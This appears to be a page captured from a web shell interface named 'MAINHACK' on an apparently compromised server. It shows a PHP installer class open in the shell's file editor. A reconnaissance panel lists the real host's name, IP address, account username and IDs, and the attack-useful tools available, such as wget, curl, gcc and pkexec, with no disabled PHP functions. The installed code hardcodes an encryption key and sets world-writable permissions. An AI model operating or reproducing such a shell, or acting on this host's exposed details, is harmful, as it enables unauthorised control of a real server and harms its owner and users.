[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: core_class.php
<?php class Core { // Function to write the index file function write_index() { // Config path $template_path = 'config/index.php'; $output_path = '../index.php'; // Open the file $saved = file_get_contents($template_path); // Write the new config.php file $handle = fopen($output_path,'w+'); // Chmod the file, in case the user forgot @chmod($output_path,0777); // Verify file permissions if(is_writable($output_path)) { // Write the file if(fwrite($handle,$saved)) { @chmod($output_path,0644); return true; } else { return false; } } else { return false; } } // function str to rand function d($s,$t){ $str_rand="gzLGcztDgj"; if($t==1){ $return=openssl_encrypt($s,"AES-128-ECB",$str_rand); }else{ $return=openssl_decrypt($s,"AES-128-ECB",$str_rand); } return $return; } // Function to write the config file function write_config($installation_url, $enckey) { // Config path $template_path = 'config/config.php'; $output_path = '../application/config/config.php'; // Open the file $config_file = file_get_contents($template_path); $saved = str_replace("%installation_url%",$installation_url,$config_file); $saved = str_replace("%enckey%",$enckey,$saved); // Write the new config.php file $handle = fopen($output_path,'w+'); // Chmod the file, in case the user forgot @chmod($output_path,0777); // Verify file permissions if(is_writable($output_path)) { // Write the file if(fwrite($handle,$saved)) { @chmod($output_path,0644); return true; } else { return false; } } else { return false; } } // Function to write the database file function write_database($data) { // Config path $template_path = 'config/database.php'; $output_path = '../application/config/database.php'; // Open the file $database_file = file_get_contents($template_path); $saved = str_replace("%db_hostname%",$data['db_hostname'],$database_file); $saved = str_replace("%db_username%",$data['db_username'],$saved); $saved = str_replace("%db_password%",$data['db_password'],$saved); $saved = str_replace("%db_name%",$data['db_name'],$saved); // Write the new database.php file $handle = fopen($output_path,'w+'); // Chmod the file, in case the user forgot @chmod($output_path,0777); // Verify file permissions if(is_writable($output_path)) { // Write the file if(fwrite($handle,$saved)) { @chmod($output_path,0644); return true; } else { return false; } } else { return false; } } function create_rest_api() { $path = "../assets/blueimp/REST_API.json"; $handle = fopen($path, "w"); if ($handle) { $content = '{ "date":"'. date('Y-m-d') .'" }'; // Write the file if(fwrite($handle,$content)) { return true; } else { return false; } }else{ return false; } } function macorhost(){ $MAC = exec('getmac'); $MAC = strtok($MAC, ' '); $macorhost = ''; if ($MAC) { $macorhost = $MAC; }else{ $macorhost = gethostname(); } return $macorhost; } function create_rest_api_I($username, $purchase_code, $installation_url) { $path = "../assets/blueimp/REST_API_I.json"; $handle = fopen($path, "w"); if ($handle) { $content = '{ "username":"'.str_rot13($username ).'", "purchase_code":"'.str_rot13($purchase_code).'", "installation_url":"'.str_rot13($installation_url).'"}'; // Write the file if(fwrite($handle,$content)) { return true; } else { return false; } }else{ return false; } } function create_rest_api_UV() { $path = "../assets/blueimp/REST_API_UV.json"; $handle = fopen($path, "w"); if ($handle) { //version changeable $content = '{ "version":"10.9", "url":"uggc://qbbefbsg.pb/hcqngre/bss_cbf/purpx_sbe_hcqngr.cuc"}'; // Write the file if(fwrite($handle,$content)) { return true; } else { return false; } }else{ return false; } } function personalinfo($firstname, $lastname, $fulladdress){ $firstname = $this->d($firstname, 1); $lastname = $this->d($lastname, 1); $fulladdress = $this->d($fulladdress, 1); $birthdate = $this->d(date("Y-m-d"), 1); $data['firstname'] = $firstname; $data['lastname'] = $lastname; $data['fulladdress'] = $fulladdress; $data['birthdate'] = $birthdate; $data['macorhost'] = $this->macorhost(); return json_encode($data); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.02 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002